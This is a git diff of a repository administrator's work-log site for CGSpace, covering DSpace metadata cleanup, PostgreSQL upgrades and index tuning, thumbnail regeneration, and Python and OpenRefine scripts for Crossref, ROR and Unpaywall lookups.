        • +
      • It was different than the issued date, because for now I only want online dates that are different, in case this is an online only journal in which case that can be the issue date… maybe I’ll re-visit that later
        • +
      +
      • +
    +
    • +
+

2023-02-17

+
    +
  • It seems some (all?) of the changes I applied to dates last night didn’t get saved… +
      +
    • I don’t know what happened, so I will run them again after some investigation
      • +
    • I submitted the first batch of ~7,600 changes and it took twelve hours!
      • +
    • I almost cancelled it because after applying the changes there was a lock blocking everything for two hours, and it seemed to be stuck, but I kept checking it and saw that the query_start and state_change were being updated despite it being state “idle in transaction”:
      • +
    +
    • +
+
$ psql -c 'SELECT * FROM pg_stat_activity WHERE pid=1025176' | less -S
+
    +
  • I will apply the other changes in smaller batches…
    • +
  • Lately I’ve noticed a lot of activity from the country code tagger curation task +
      +
    • Looking in the logs I see items being tagged that are very old and should have already been tagged years ago
      • +
    • Also, I see a ton of these errors whenever the task is updating an item:
      • +
    +
    • +
+
2023-02-17 08:01:00,252 INFO  org.dspace.curate.Curator @ Curation task: countrycodetagger performed on: 10568/89020 with status: 0. Result: '10568/89020: added 1 alpha2 country code(s)'
+2023-02-17 08:01:00,467 ERROR com.atmire.versioning.ModificationLogger @ Error while writing item to versioning index: a0fe9d9a-6ac1-4b6a-8fcb-dae07a6bbf58 message:missing required field: epersonID
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: missing required field: epersonID
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:552)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:116)
+        at org.apache.solr.client.solrj.SolrServer.add(SolrServer.java:102)
+        at com.atmire.versioning.ModificationLogger.indexItem(ModificationLogger.java:263)
+        at com.atmire.versioning.ModificationConsumer.end(ModificationConsumer.java:134)
+        at org.dspace.event.BasicDispatcher.dispatch(BasicDispatcher.java:157)
+        at org.dspace.core.Context.dispatchEvents(Context.java:455)
+        at org.dspace.curate.Curator.visit(Curator.java:541)
+        at org.dspace.curate.Curator$TaskRunner.run(Curator.java:568)
+        at org.dspace.curate.Curator.doCollection(Curator.java:515)
+        at org.dspace.curate.Curator.doCommunity(Curator.java:487)
+        at org.dspace.curate.Curator.doSite(Curator.java:451)
+        at org.dspace.curate.Curator.curate(Curator.java:269)
+        at org.dspace.curate.Curator.curate(Curator.java:203)
+        at org.dspace.curate.CurationCli.main(CurationCli.java:220)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • This must be related…
    • +
+

2023-02-18

+
    +
  • I realized why the country-code-tagger was tagging everything: I had overridden the force parameter last week!
    • +
  • Start a harvest on AReS
    • +
+

2023-02-20

+
    +
  • IWMI is concerned that some of their items with top Altmetric attention scores don’t show up in the AReS Explorer +
      +
    • I looked into it for one and found that AReS is using the Handle, but Altmetric hasn’t associated the Handle with the DOI
      • +
    +
    • +
  • Looking into country and region issues for the PRMS team +
      +
    • Last week they had some questions about some invalid countries that ended up being typos
      • +
    • I realized my cgspace-java-helpers country-code-tagger curation task is not using the latest version, so it was missing Türkiye
      • +
    • I compiled the new version and ran it manually, but I have to upload a new version to Maven Central and then update the dependency in dspace/modules/additions/pom.xml ughhhhhh
      • +
    • I tagged version 6.2 with the change for Türkiye and uploaded to to Maven Central with mvn clean deploy
      • +
    +
    • +
  • I’m having second thoughts about switching to UN M.49 for countries because there are just too many tradeoffs +
      +
    • I want to find a way to keep our existing list, and codify some rules for it
      • +
    • There are several discussions related to the shortcomings of ISO themselves and the iso-codes project, for example: + +
      • +
    • I almost want to say fuck it, let’s just use iso-codes and tell everyone to deal with it, but make sure we handle ISO 3166-1 Alpha2 or probably Alpha3 in the future
      • +
    • Something like: +
        +
      • Prefer common_name if it exists
        • +
      • Prefer the shorter of name and official name
        • +
      +
      • +
    +
    • +
+

2023-02-21

+
    +
  • Continue working on my parse-iso-codes.py script to parse the iso-codes JSON for ISO 3166-1 +
      +
    • I also started a spreadsheet to track current CGSpace country names, proposed new names using the compromise above, and UN M.49 names
      • +
    • I proposed this to Peter but he wasn’t happy because there are still some stupidly long and political names there
      • +
    +
    • +
  • I bumped the version of cgspace-java-helpers to 6.2-SNAPSHOT and pushed it to Maven Central because I can’t figure out how to get non-snapshot releases to go there
    • +
  • Ouch, grunt 1.6.0 was released a few weeks ago, which relies on Node.js v16, thus breaking the Mirage 2 build in DSpace 6 + +
    • +
  • Help Moises from CIP troubleshoot harvesting issues on their WordPress site +
      +
    • I see 2,000 requests with the user agent “RTB website BOT” today and they are all HTTP 200
      • +
    +
    • +
+
# grep 'RTB website BOT' /var/log/nginx/rest.log | awk '{print $9}' | sort | uniq -c | sort -h
+   2023 200
+
    +
  • Start reviewing and fixing metadata for Sam’s ~250 CAS publications from last year +
      +
    • Both Abenet and Peter have already looked at them and Sam has been waiting for months on this
      • +
    +
    • +
+

2023-02-22

+
    +
  • Continue proofing CAS records for Sam +
      +
    • I downloaded all the PDFs manually and checked the issue dates for each from the PDF, noting some that had licenses, ISBNs, etc
      • +
    • I combined the title, abstract, and system subjects into one column to mine them for AGROVOC terms:
      • +
    +
    • +
+
toLowercase(value) + toLowercase(cells["dcterms.abstract"].value) + toLowercase(cells["cg.subject.system"].value.replace("||", " "))
+
    +
  • Then I extracted a list of AGROVOC terms the same way I did in August, 2022 and used this Jython code to extract matching terms:
    • +
+
import re
+
+with open(r"/tmp/agrovoc-subjects.txt",'r') as f : 
+    terms = [name.rstrip().lower() for name in f]
+
+return "||".join([term for term in terms if re.match(r".*\b" + term + r"\b.*", value.lower())])
+
+
deduped_list = list(set(value.split("||")))
+return '||'.join(map(str, deduped_list))
+
+

2023-02-23

+
    +
  • Tag v0.6.1 of csv-metadata-quality
    • +
  • Weekly meeting about CG Core types +
      +
    • I need to get some definitions from Peter for some types
      • +
    +
    • +
  • Peter sent some of the feedback from Indira to XMLUI +
      +
    • I removed some old facets, limited others to less values, and adjusted the recent submissions from 5 to 10
      • +
    +
    • +
+

2023-02-24

+
    +
  • More work on understanding Sam’s CAS publications to prepare for uploading them to CGSpace +
      +
    • I need to reconcile the duplicates and Peter’s type re-classifications in the final version of the spreadsheet
      • +
    • I flagged all the duplicates by creating a custom text facet matching all their titles like:
      • +
    +
    • +
+
or(
+  isNotNull(value.match("Evaluation of the CGIAR Research Program on Climate Change, Agriculture and Food Security (CCAFS)")),
+  isNotNull(value.match("Report of the IEA Workshop on Development, Use and Assessment of TOC in CGIAR Research, Rome, 12-13 January 2017")),
+  isNotNull(value.match("Report of the IEA Workshop on Evaluating the Quality of Science, Rome, 10-11 December 2015")),
+  isNotNull(value.match("Review of CGIAR’s Intellectual Assets Principles")),
+...
+)
+
    +
  • Annoyingly this seems to miss the ones with parenthesis so I had to do those manually +
      +
    • This matched thirty-seven items, then I flagged them so I can handle them separately after uploading the others
      • +
    • Then I used the URL field in the old version of the file to match the items with types Evaluation and Independent Commentary since Peter changed them
      • +
    • I added extent, volume, issue, number, and affiliation to a few journal articles
      • +
    • Then I did some last minute checks to make sure we’re not uploading files for items marked as having “multiple documents”
      • +
    +
    • +
+

2023-02-25

+
    +
  • Oh nice, my pull request adding common names for Iran, Laos, and Syria to iso-codes was merged
    • +
  • I did a test import of the 198 CAS Publications on DSpace Test, then inspected Abenet’s file with Gaia’s “multiple documents” field one more time and decided to do the import on CGSpace +
      +
    • Gaia’s “multiple documents” column had some text like “E6” and “F7” that didn’t make any sense, and those files were not in the Sharepoint even
      • +
    +
    • +
+

2023-02-26

+
    +
  • Start a harvest on AReS
    • +
+

2023-02-27

+
    +
  • I found two items for the CAS Publications that were marked as a duplicates, but upon second inspection were not, so I uploaded it to CGSpace +
      +
    • That makes the total number of items for CAS 200…
      • +
    +
    • +
  • I did some CSV joining and inspections with the remaining thirty-six duplicates with the metadata for their existing items on CGSpace and uploaded them
    • +
  • Do some work on the new DSpace 7 submission forms +
      +
    • I ended up reverting to the stock configuration to use some new techniques like the style and type bind
      • +
    +
    • +
+

2023-02-28

+
    +
  • Keep working on the DSpace 7 submission forms +
      +
    • As part of this I asked Maria and Francesca if they are still using the cg.link.permalink (Bioversity publications permalink) and they said no, so we can remove it from the submission form
      • +
    • I also removed cg.subject.ccafs since the CRP ended over a year ago and cg.subject.pabra since there have only been a handful of new items in their collection and they seem to be using Alliance subjects instead
      • +
    +
    • +
  • I filed a bug on DSpace regarding the inability to add freetext values from an input field that uses a vocabulary
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2023-03/index.html b/docs/2023-03/index.html new file mode 100644 index 000000000..ec7139e5a --- /dev/null +++ b/docs/2023-03/index.html @@ -0,0 +1,913 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + March, 2023 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

March, 2023

+

+ + in + Notes + + +

+
+

2023-03-01

+
    +
  • Remove cg.subject.wle and cg.identifier.wletheme from CGSpace input form after confirming with IWMI colleagues that they no longer need them (WLE closed in 2021)
    • +
  • iso-codes 4.13.0 was released, which incorporates my changes to the common names for Iran, Laos, and Syria
    • +
  • I finally got through with porting the input form from DSpace 6 to DSpace 7
    • +
+
    +
  • I can’t put my finger on it, but the input form has to be formatted very particularly, for example if your rows have more than two fields in them with out a sufficient Bootstrap grid style, or if you use a twobox, etc, the entire form step appears blank
    • +
+

2023-03-02

+
    +
  • I did some experiments with the new Pandas 2.0.0rc0 Apache Arrow support +
      +
    • There is a change to the way nulls are handled and it causes my tests for pd.isna(field) to fail
      • +
    • I think we need consider blanks as null, but I’m not sure
      • +
    +
    • +
  • I made some adjustments to the Discovery sidebar facets on DSpace 6 while I was looking at the DSpace 7 configuration +
      +
    • I downgraded CIFOR subject, Humidtropics subject, Drylands subject, ICARDA subject, and Language from DiscoverySearchFilterFacet to DiscoverySearchFilter in discovery.xml since we are no longer using them in sidebar facets
      • +
    +
    • +
+

2023-03-03

+ +

2023-03-04

+ +

2023-03-05

+
    +
  • Start a harvest on AReS
    • +
+

2023-03-06

+
    +
  • Export CGSpace to do Initiative collection mappings +
      +
    • There were thirty-three that needed updating
      • +
    +
    • +
  • Send Abenet and Sam a list of twenty-one CAS publications that had been marked as “multiple documents” that we uploaded as metadata-only items +
      +
    • Goshu will download the PDFs for each and upload them to the items on CGSpace manually
      • +
    +
    • +
  • I spent some time trying to get csv-metadata-quality working with the new Arrow backend for Pandas 2.0.0rc0 +
      +
    • It seems there is a problem recognizing empty strings as na with pd.isna()
      • +
    • If I do pd.isna(field) or field == "" then it works as expected, but that feels hacky
      • +
    • I’m going to test again on the next release…
      • +
    • Note that I had been setting both of these global options:
      • +
    +
    • +
+
pd.options.mode.dtype_backend = 'pyarrow'
+pd.options.mode.nullable_dtypes = True
+
    +
  • Then reading the CSV like this:
    • +
+
df = pd.read_csv(args.input_file, engine='pyarrow', dtype='string[pyarrow]'
+

2023-03-07

+
    +
  • Create a PostgreSQL 14 instance on my local environment to start testing compatibility with DSpace 6 as well as all my scripts:
    • +
+
$ podman pull docker.io/library/postgres:14-alpine
+$ podman run --name dspacedb14 -v dspacedb14_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:14-alpine
+$ createuser -h localhost -p 5432 -U postgres --pwprompt dspacetest
+$ createdb -h localhost -p 5432 -U postgres -O dspacetest --encoding=UNICODE dspacetest
+
    +
  • Peter sent me a list of items that had ILRI affiation on Altmetric, but that didn’t have Handles +
      +
    • I ran a duplicate check on them to find if they exist or if we can import them
      • +
    • There were about ninety matches, but a few dozen of those were pre-prints!
      • +
    • After excluding those there were about sixty-one items we already have on CGSpace so I will add their DOIs to the existing items +
        +
      • After joining these with the records from CGSpace and inspecting the DOIs I found that only forty-four were new DOIs
        • +
      • Surprisingly some of the DOIs on Altmetric were not working, though we also had some that were not working (specifically the Journal of Agricultural Economics seems to have reassigned DOIs)
        • +
      +
      • +
    • For the rest of the ~359 items I extracted their DOIs and looked up the metadata on Crossref using my crossref-doi-lookup.py script +
        +
      • After spending some time cleaning the data in OpenRefine I realized we don’t get access status from Crossref
        • +
      • We can imply it if the item is Creative Commons, but otherwise I might be able to use Unpaywall’s API
        • +
      • I found some false positives in Unpaywall, so I might only use their data when it says the DOI is not OA…
        • +
      +
      • +
    +
    • +
  • During this process I updated my crossref-doi-lookup.py script to get more information from Crossref like ISSNs, ISBNs, full journal title, and subjects
    • +
  • An unscientific comparison of duplicate checking Peter’s file with ~500 titles on PostgreSQL 12 and PostgreSQL 14: +
      +
    • PostgreSQL 12: 0.11s user 0.04s system 0% cpu 19:24.65 total
      • +
    • PostgreSQL 14: 0.12s user 0.04s system 0% cpu 18:13.47 total
      • +
    +
    • +
+

2023-03-08

+
    +
  • I am wondering how to speed up PostgreSQL trgm searches more +
      +
    • I see my local PostgreSQL is using vanilla configuration and I should update some configs:
      • +
    +
    • +
+
localhost/dspacetest= ☘ SELECT setting, unit FROM pg_settings WHERE name = 'shared_buffers';
+ setting │ unit 
+─────────┼──────
+ 16384   │ 8kB
+(1 row)
+
    +
  • I re-created my PostgreSQL 14 container with some extra memory settings:
    • +
+
$ podman run --name dspacedb14 -v dspacedb14_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:14-alpine -c shared_buffers=1024MB -c random_page_cost=1.1
+
+
localhost/dspacetest= ☘ CREATE INDEX metadatavalue_text_value_trgm_gist_idx ON metadatavalue USING gist(text_value gist_trgm_ops(siglen=64)); # \di+ shows index size is 795MB
+
    +
  • That took a few minutes to build… then the duplicate checker ran in 12 minutes: 0.07s user 0.02s system 0% cpu 12:43.08 total
    • +
  • On a hunch, I tried with a GIN index:
    • +
+
localhost/dspacetest= ☘ CREATE INDEX metadatavalue_text_value_trgm_gin_idx ON metadatavalue USING gin(text_value gin_trgm_ops); # \di+ shows index size is 274MB
+
    +
  • This ran in 19 minutes: 0.08s user 0.01s system 0% cpu 19:49.73 total +
      +
    • So clearly the GiST index is better for this task
      • +
    • I am curious if I increase the signature length in the GiST index from 64 to 256 (which will for sure increase the size taken):
      • +
    +
    • +
+
localhost/dspacetest= ☘ CREATE INDEX metadatavalue_text_value_trgm_gist_idx ON metadatavalue USING gist(text_value gist_trgm_ops(siglen=256)); # \di+ shows index size is 716MB, which is less than the previous GiST index...
+
    +
  • This one finished in ten minutes: 0.07s user 0.02s system 0% cpu 10:04.04 total
    • +
  • I might also want to increase my work_mem (default 4MB):
    • +
+
localhost/dspacetest= ☘ SELECT setting, unit FROM pg_settings WHERE name = 'work_mem';
+ setting │ unit 
+─────────┼──────
+ 4096    │ kB
+(1 row)
+
    +
  • After updating my Crossref lookup script and checking the remaining ~359 items I found a eight more duplicates already existing on CGSpace
    • +
  • Wow, I found a really cool way to fetch URLs in OpenRefine +
      +
    • I used this to fetch the open access status for each DOI from Unpaywall
      • +
    +
    • +
  • First, create a new column called “url” based on the DOI that builds the request URL. I used a Jython expression:
    • +
+
unpaywall_baseurl = 'https://api.unpaywall.org/v2/'
+email = "a.orth+unpaywall@cgiar.org"
+doi = value.replace("https://doi.org/", "")
+request_url = unpaywall_baseurl + doi + '?email=' + email
+
+return request_url
+
    +
  • Then create a new column based on fetching the values in that column. I called it “unpaywall_status”
    • +
  • Then you get a JSON blob in each and you can extract the Open Access status with a GREL like value.parseJson()['is_oa'] +
      +
    • I checked a handful of results manually and found that the limited access status was more trustworthy from Unpaywall than the open access, so I will just tag the limited access ones
      • +
    +
    • +
  • I merged the funders and affiliations from Altmetric into my file, then used the same technique to get Crossref data for open access items directly into OpenRefine and parsed the abstracts +
      +
    • The syntax was hairy because it’s marked up with tags like <jats:p>, but this got me most of the way there:
      • +
    +
    • +
+
value.replace("jats:p", "jats-p").parseHtml().select("jats-p")[0].innerHtml()
+value.replace("<jats:italic>","").replace("</jats:italic>", "")
+value.replace("<jats:sub>","").replace("</jats:sub>", "").replace("<jats:sup>","").replace("</jats:sup>", "")
+
    +
  • I uploaded the 350 items to DSpace Test so Peter and Abenet can explore them
    • +
  • I exported a list of authors, affiliations, and funders from the new items to let Peter correct them:
    • +
+
$ csvcut -c dc.contributor.author /tmp/new-items.csv | sed -e 1d -e 's/"//g' -e 's/||/\n/g' | sort | uniq -c | sort -nr | awk '{$1=""; print $0}' | sed -e 's/^ //' > /tmp/new-authors.csv
+
    +
  • Meeting with FAO AGRIS team about how to detect duplicates +
      +
    • They are currently using a sha256 hash on titles, which will work, but will only return exact matches
      • +
    • I told them to try to normalize the string, drop stop words, etc to increase the possibility that the hash matches
      • +
    +
    • +
  • Meeting with Abenet to discuss CGSpace issues +
      +
    • She reminded me about needing a metadata field for first author when the affiliation is ILRI
      • +
    • I said I prefer to write a small script for her that will check the first author and first affiliation… I could do it easily in Python, but would need to put a web frontend on it for her
      • +
    • Unless we could do that in AReS reports somehow
      • +
    +
    • +
+

2023-03-09

+ +

2023-03-10

+
    +
  • CKM is getting ready to launch their new website and they display CGSpace thumbnails at 255x362px +
      +
    • Our thumbnails are 300px so they get up-scaled and look bad
      • +
    • I realized that the last time we increased the size of our thumbnails was in 2013, from 94x130 to 300px
      • +
    • I offered to CKM that we increase them again to 400 or 600px
      • +
    • I did some tests to check the thumbnail file sizes for 300px, 400px, 500px, and 600px on this item:
      • +
    +
    • +
+
$ ls -lh 10568-126388-*
+-rw-r--r-- 1 aorth aorth  31K Mar 10 12:42 10568-126388-300px.jpg
+-rw-r--r-- 1 aorth aorth  52K Mar 10 12:41 10568-126388-400px.jpg
+-rw-r--r-- 1 aorth aorth  76K Mar 10 12:43 10568-126388-500px.jpg
+-rw-r--r-- 1 aorth aorth 106K Mar 10 12:44 10568-126388-600px.jpg
+
    +
  • Seems like 600px is 3 to 4 times larger file size, so maybe we should shoot for 400px or 500px +
      +
    • I decided on 500px
      • +
    • I started re-generating new thumbnails for the ILRI Publications, CGIAR Initiatives, and other collections
      • +
    +
    • +
  • On that note, I also re-worked the XMLUI item display to show larger thumbnails (from a max-width of 128px to 200px)
    • +
  • And now that I’m looking at thumbnails I am curious what it would take to get DSpace to generate WebP or AVIF thumbnails
    • +
  • Peter sent me citations and ILRI subjects for the 350 new ILRI publications +
      +
    • I guess he edited it in Excel because there are a bunch of encoding issues with accents
      • +
    • I merged Peter’s citations and subjects with the other metadata, ran one last duplicate check (and found one item!), then ran the items through csv-metadata-quality and uploaded them to CGSpace
      • +
    • In the end it was only 348 items for some reason…
      • +
    +
    • +
+

2023-03-12

+
    +
  • Start a harvest on AReS
    • +
+

2023-03-13

+
    +
  • Extract a list of DOIs from the Creative Commons licensed ILRI journal articles that I uploaded last week, skipping any that are “no derivatives” (ND):
    • +
+
$ csvgrep -c 'dc.description.provenance[en]' -m 'Made available in DSpace on 2023-03-10' /tmp/ilri-articles.csv \
+    | csvgrep -c 'dcterms.license[en_US]' -r 'CC(0|\-BY)'
+    | csvgrep -c 'dcterms.license[en_US]' -i -r '\-ND\-'
+    | csvcut -c 'id,cg.identifier.doi[en_US],dcterms.type[en_US]' > 2023-03-13-journal-articles.csv
+
    +
  • I want to write a script to download the PDFs and create thumbnails for them, then upload to CGSpace +
      +
    • I wrote one based on post_ciat_pdfs.py but it seems there is an issue uploading anything other than a PDF
      • +
    • When I upload a JPG or a PNG the file begins with:
      • +
    +
    • +
+
Content-Disposition: form-data; name="file"; filename="10.1017-s0031182013001625.pdf.jpg"
+
    +
  • … this means it is invalid… +
      +
    • I tried in both the ORIGINAL and THUMBNAIL bundle, and with different filenames
      • +
    • I tried manually on the command line with http and both PDF and PNG work… hmmmm
      • +
    • Hmm, this seems to have been due to some difference in behavior between the files and data parameters of requests.get()
      • +
    • I finalized the post_bitstreams.py script and uploaded eighty-five PDF thumbnails
      • +
    +
    • +
  • It seems Bizu uploaded covers for a handful so I deleted them and ran them through the script to get proper thumbnails
    • +
+

2023-03-14

+
    +
  • Add twelve IFPRI authors to our controlled vocabulary for authors and ORCID identifiers +
      +
    • I also tagged their existing items on CGSpace
      • +
    +
    • +
  • Export all our ORCIDs and resolve their names to see if any have changed:
    • +
+
$ cat dspace/config/controlled-vocabularies/cg-creator-identifier.xml | grep -oE '[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}' | sort -u > /tmp/2023-03-14-orcids.txt
+$ ./ilri/resolve_orcids.py -i /tmp/2023-03-14-orcids.txt -o /tmp/2023-03-14-orcids-names.txt -d
+
    +
  • Then update them in the database:
    • +
+
$ ./ilri/update_orcids.py -i /tmp/2023-03-14-orcids-names.txt -db dspace -u dspace -p 'fuuu' -m 247
+

2023-03-15

+
    +
  • Jawoo was asking about possibilities to harvest PDFs from CGSpace for some kind of AI chatbot integration +
      +
    • I see we have 45,000 PDFs (format ID 2)
      • +
    +
    • +
+
localhost/dspacetest= ☘ SELECT COUNT(*) FROM bitstream WHERE NOT deleted AND bitstream_format_id=2;
+ count 
+───────
+ 45281
+(1 row)
+
    +
  • Rework some of my Python scripts to use a common db_connect function from util
    • +
  • I reworked my post_bitstreams.py script to be able to overwrite bitstreams if requested +
      +
    • The use case is to upload thumbnails for all the journal articles where we have these horrible pixelated journal covers
      • +
    • I replaced JPEG thumbnails for ~896 ILRI publications by exporting a list of DOIs from the 10568/3 collection that were CC-BY, getting their PDFs from Sci-Hub, and then posting them with my new script
      • +
    +
    • +
+

2023-03-16

+
    +
  • Continue working on the ILRI publication thumbnails +
      +
    • There were about sixty-four that had existing PNG “journal cover” thumbnails that didn’t get replaced because I only overwrote the JPEG ones yesterday
      • +
    • Now I generated a list of those bitstream UUIDs and deleted them with a shell script via the REST API
      • +
    +
    • +
  • I made a pull request on DSpace 7 to update the bitstream format registry for PNG, WebP, and AVIF
    • +
  • Export CGSpace to perform mappings to Initiatives collections
    • +
  • I also used this export to find CC-BY items with DOIs that had JPEGs or PNGs in their provenance, meaning that the submitter likely submitted a low-quality “journal cover” for the item +
      +
    • I found about 330 of them and got most of their PDFs from Sci-Hub and replaced the crappy thumbnails with real ones where Sci-Hub had them (~245)
      • +
    +
    • +
  • In related news, I realized you can get an API key from Elsevier and download the PDFs from their API:
    • +
+
import requests
+
+api_key = 'fuuuuuuuuu'
+doi = "10.1016/j.foodqual.2021.104362"
+request_url = f'https://api.elsevier.com/content/article/doi:{doi}'
+
+headers = {
+    'X-ELS-APIKEY': api_key,
+    'Accept': 'application/pdf'
+}
+
+with requests.get(request_url, stream=True, headers=headers) as r:
+    if r.status_code == 200:
+        with open("article.pdf", "wb") as f:
+            for chunk in r.iter_content(chunk_size=1024*1024):
+                f.write(chunk)
+
    +
  • The question is, how do we know if a DOI is Elsevier or not…
    • +
  • CGIAR Repositories Working Group meeting +
      +
    • We discussed controlled vocabularies for funders
      • +
    • I suggested checking our combined lists against Crossref and ROR
      • +
    +
    • +
  • Export a list of donors from cg.contributor.donor on CGSpace:
    • +
+
localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE dspace_object_id IN (SELECT uuid FROM item) AND metadata_field_id=248) to /tmp/2023-03-16-donors.txt;
+COPY 1521
+
    +
  • Then resolve them against Crossref’s funders API:
    • +
+
$ ./ilri/crossref_funders_lookup.py -e fuuuu@cgiar.org -i /tmp/2023-03-16-donors.txt -o ~/Downloads/2023-03-16-cgspace-crossref-funders-results.csv -d
+$ csvgrep -c matched -m true ~/Downloads/2023-03-16-cgspace-crossref-funders-results.csv | wc -l
+472
+$ sed 1d ~/Downloads/2023-03-16-cgspace-crossref-funders-results.csv | wc -l 
+1521
+
    +
  • That’s a 31% hit rate, but I see some simple things like “Bill and Melinda Gates Foundation” instead of “Bill & Melinda Gates Foundation”
    • +
+

2023-03-17

+
    +
  • I did the same lookup of CGSpace donors on ROR’s 2022-12-01 data dump:
    • +
+
$ ./ilri/ror_lookup.py -i /tmp/2023-03-16-donors.txt -o ~/Downloads/2023-03-16-cgspace-ror-funders-results.csv -r v1.15-2022-12-01-ror-data.json
+$ csvgrep -c matched -m true ~/Downloads/2023-03-16-cgspace-ror-funders-results.csv | wc -l                                            
+407
+$ sed 1d ~/Downloads/2023-03-16-cgspace-ror-funders-results.csv | wc -l
+1521
+
    +
  • That’s a 26.7% hit rate
    • +
  • As for the number of funders in each dataset +
      +
    • Crossref has about 34,000
      • +
    • ROR has 15,000 if “FundRef” data is a proxy for that:
      • +
    +
    • +
+
$ grep -c -rsI FundRef v1.15-2022-12-01-ror-data.json    
+15162
+
    +
  • On a related note, I remembered that DOI.org has a list of DOI prefixes and publishers: https://doi.crossref.org/getPrefixPublisher +
      +
    • In Python I can look up publishers by prefix easily, here with a nested list comprehension:
      • +
    +
    • +
+
In [10]: [publisher for publisher in publishers if '10.3390' in publisher['prefixes']]
+Out[10]: 
+[{'prefixes': ['10.1989', '10.32545', '10.20944', '10.3390', '10.35995'],
+  'name': 'MDPI AG',
+  'memberId': 1968}]
+
    +
  • And in OpenRefine, if I create a new column based on the DOI using Jython:
    • +
+
import json
+
+with open("/home/aorth/src/git/DSpace/publisher-doi-prefixes.json", "rb") as f:
+    publishers = json.load(f)
+
+doi_prefix = value.split("/")[3]
+
+publisher = [publisher for publisher in publishers if doi_prefix in publisher['prefixes']]
+
+return publisher[0]['name']
+
    +
  • … though this is very slow and hung OpenRefine when I tried it
    • +
  • I added the ability to overwrite multiple bitstream formats at once in post_bitstreams.py
    • +
+
$ ./ilri/post_bitstreams.py -i test.csv -u https://dspacetest.cgiar.org/rest -e fuuu@example.com -p 'fffnjnjn' -d -s 2B40C7C4E34CEFCF5AFAE4B75A8C52E2 --overwrite JPEG --overwrite PNG -n
+Session valid: 2B40C7C4E34CEFCF5AFAE4B75A8C52E2
+Opened test.csv
+384142cb-58b9-4e64-bcdc-0a8cc34888b3: checking for existing bitstreams in THUMBNAIL bundle
+> (DRY RUN) Deleting bitstream: IFPRI Malawi_Maize Market Report_February_202_anonymous.pdf.jpg (16883cb0-1fc8-4786-a04f-32132e0617d4)
+> (DRY RUN) Deleting bitstream: AgroEcol_Newsletter_2.png (7e9cd434-45a6-4d55-8d56-4efa89d73813)
+> (DRY RUN) Uploading file: 10568-129666.pdf.jpg
+
    +
  • I learned how to use Python’s built-in logging module and it simplifies all my debug and info printing +
      +
    • I re-factored a few scripts to use the new logging
      • +
    +
    • +
+

2023-03-18

+
    +
  • I applied changes for publishers on 16,000 items in batches of 5,000
    • +
  • While working on my post_bitstreams.py script I realized the Tomcat Crawler Session Manager valve that groups bot user agents into sessions is causing my login to fail the first time, every time +
      +
    • I’ve disabled it for now and will check the Munin session graphs after some time to see if it makes a difference
      • +
    • In any case I have much better spider user agent lists in DSpace now than I did years ago when I started using the Crawler Session Manager valve
      • +
    +
    • +
+

2023-03-19

+
    +
  • Start a harvest on AReS
    • +
+

2023-03-20

+
    +
  • Minor updates to a few of my DSpace Python scripts to fix the logging
    • +
  • Minor updates to some records for Mazingira reported by Sonja
    • +
  • Upgrade PostgreSQL on DSpace Test from version 12 to 14, the same way I did from 10 to 12 last year: +
      +
    • First, I installed the new version of PostgreSQL via the Ansible playbook scripts
      • +
    • Then I stopped Tomcat and all PostgreSQL clusters and used pg_upgrade to upgrade the old version:
      • +
    +
    • +
+
# systemctl stop tomcat7
+# pg_ctlcluster 12 main stop
+# tar -cvzpf var-lib-postgresql-12.tar.gz /var/lib/postgresql/12
+# tar -cvzpf etc-postgresql-12.tar.gz /etc/postgresql/12
+# pg_ctlcluster 14 main stop
+# pg_dropcluster 14 main
+# pg_upgradecluster 12 main
+# pg_ctlcluster 14 main start
+
+
$ su - postgres
+$ cat /tmp/generate-reindex.sql
+SELECT 'REINDEX TABLE CONCURRENTLY ' || quote_ident(relname) || ' /*' || pg_size_pretty(pg_total_relation_size(C.oid)) || '*/;'
+FROM pg_class C
+LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)
+WHERE nspname = 'public'
+  AND C.relkind = 'r'
+  AND nspname !~ '^pg_toast'
+ORDER BY pg_total_relation_size(C.oid) ASC;
+$ psql dspace < /tmp/generate-reindex.sql > /tmp/reindex.sql
+$ <trim the extra stuff from /tmp/reindex.sql>
+$ psql dspace < /tmp/reindex.sql
+
    +
  • The index on metadatavalue shrunk by 90MB, and others a bit less +
      +
    • This is nice, but not as drastic as I noticed last year when upgrading to PostgreSQL 12
      • +
    +
    • +
+

2023-03-21

+
    +
  • Leigh sent me a list of IFPRI authors with ORCID identifiers so I combined them with our list and resolved all their names with resolve_orcids.py +
      +
    • It adds 154 new ORCID identifiers
      • +
    +
    • +
  • I did a follow up to the publisher names from last week using the list from doi.org +
      +
    • Last week I only updated items with a DOI that had no publisher, but now I was curious to see how our existing publisher information compared
      • +
    • I checked a dozen or so manually and, other than CIFOR/ICRAF and CIAT/Alliance, the metadata was better than our existing data, so I overwrote them
      • +
    +
    • +
  • I spent some time trying to figure out how to get ssimulacra2 running so I could compare thumbnails in JPEG and WebP +
      +
